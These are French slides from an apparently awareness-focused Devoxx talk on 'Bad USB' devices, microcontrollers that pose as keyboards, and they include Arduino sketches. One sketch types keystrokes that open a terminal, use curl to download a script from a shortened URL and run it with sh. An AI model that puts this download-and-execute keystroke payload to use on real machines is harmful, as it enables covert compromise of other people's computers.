@AurelienLOYER

@Nathan_DAMIE

Bad usb

Aurélien LOYER

@AurelienLoyer

Zenika Lille

Nathan DAMIE

@Nathan_DAMIE

Zenika Lille

Saisie de caractères

DEMO

La CARTE

Trinket

Référence : Adafruit Trinket - Mini Microcontroller - 5V Logic

Architecture: AVR

Technologie :8-bit MCU

Tension de fonctionnement : 2.3 - 16 V

Long Larg Haut : 26 x 15.5 x 5

 

#include <TrinketKeyboard.h>
  
  
void setup() {
    TrinketKeyboard.begin();
      
    TrinketKeyboard.print("goo.gl/Cfq56P");  
   
    delay(100);

    pressAndRelease(0x28); // Enter
}

void loop() {}

void pressAndRelease(key) {
    TrinketKeyboard.pressKey(0, key);
    delay(10);

    TrinketKeyboard.pressKey(0,0);
    delay(300);
}

DEMO

l'autre carte

Pro Micro

Référence : KOOKYE Pro Micro Module Board ATmega32U4 5V/16MHz

Architecture: AVR

Technologie :8-bit MCU

Tension de fonctionnement : 5 - 8 V

Long Larg Haut : 34 x 15.5 x 5

 

#include "azertykeyboard.h"

const int upButton = 20;    
const int downButton = 18;        
...
...

void setup() {
    pinMode(upButton, INPUT_PULLUP);
    pinMode(downButton, INPUT_PULLUP);
    ...
    Keyboard.begin();
}

void loop() {
    if (digitalRead(upButton) == LOW) {
        pressAndRelease(KEY_UP_ARROW);
    }
    if (digitalRead(downButton) == LOW) {
        pressAndRelease(KEY_DOWN_ARROW);
    }
    if (digitalRead(leftButton) == LOW) {
        pressAndRelease(KEY_LEFT_ARROW);
    }
    if (digitalRead(rightButton) == LOW) {
        pressAndRelease(KEY_RIGHT_ARROW);   
    }
    delay(300);
}

void pressAndRelease(key) {
    Keyboard.press(key);
    Keyboard.release(key);
}

COmment j'ai hacké ma famille

demo

#include "Keyboard.h"


void setup(){
  
    // Begining the Keyboard stream
    Keyboard.begin();
    
    delay(1000);
    Keyboard.press(KEY_LEFT_GUI);
    Keyboard.press(' ');
    Keyboard.releaseAll();

    delay(1000);
    Keyboard.print(F("terminal"));
  
    delay(500);
    typeKey(KEY_RETURN);
    delay(500);
    
    Keyboard.print(F("curl -L goo.gl/Nedj8n -o /tmp/script.sh"));
    typeKey(KEY_RETURN);
    delay(500);
    
    delay(500);
    typeKey(KEY_RETURN);
    delay(100);

    Keyboard.print(F("sh /tmp/script.sh"));
    delay(500);
    typeKey(KEY_RETURN);
    
    Keyboard.end();
}


void typeKey(uint8_t key)
{
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

Trinket

  • Très petit
  • Facile à prendre en main
  • Driver introuvable sur MAC 
  • Boot  "5 minutes"

Pro micro

  • Un peu plus gros
  • Souci avec le clavier AZERTY
  • Boot directement (❗️)

...

trick

Astuce 

Éviter de "s'auto-hacker"

#include "Keyboard.h"

int RXLED = 17;

void setup(){

  pinMode(RXLED, OUTPUT);
  
  // ACTIVE OR NOT HACK
  // PUT JUMPER BETWEEN 7 && 14 TO PREVENT HACK

  pinMode(7, OUTPUT);
  digitalWrite(7, LOW);

  pinMode(14, INPUT_PULLUP);
    
  if(digitalRead(14) == LOW){
    blinkNoHack();
  }else {
    // Malicious Code ;)
  }
}

void blinkNoHack()
{
  delay(1000);
  digitalWrite(RXLED, HIGH);
  delay(1000);
  digitalWrite(RXLED, LOW);
  delay(1000);
  digitalWrite(RXLED, HIGH);
  delay(1000);
  digitalWrite(RXLED, LOW);
}


/* Unused endless loop */
void loop() {}

TRUE STORY

PEtite histoire

Tester sur le terrain

 

Tu n'as pas une clé ? 

 

Perte de confiance 😢

TU veux MA souris ?

Bien  ||  MAL

Exemples

  • Automatisation  d'actions
  • Clavier / souris / manette custom
  • Hacker une usine nucléaire
  • ...

PLUS Exemples

T3kstiil3/drop-that-key

Merci

Vous avez été superS !

@AurelienLoyer

 

@Nathan_damie

[Devoxx] Ne mets pas cette clé : tu risques de te faire hacker très fort !

By Aurelien Loyer

[Devoxx] Ne mets pas cette clé : tu risques de te faire hacker très fort !

On nous demande souvent notre clé usb ou chargeur de téléphone. Mais ne faudrait-il pas se méfier de ces banals objets ? Pendant ce court moment nous allons vous montrer comment vous pouvez exécuter du code rapidement sur un ordinateur depuis “une simple clé usb” et ainsi pousser la réflexion sur les possibilités de “cette astuce” mais aussi les dangers de celle-ci.

  • 2,073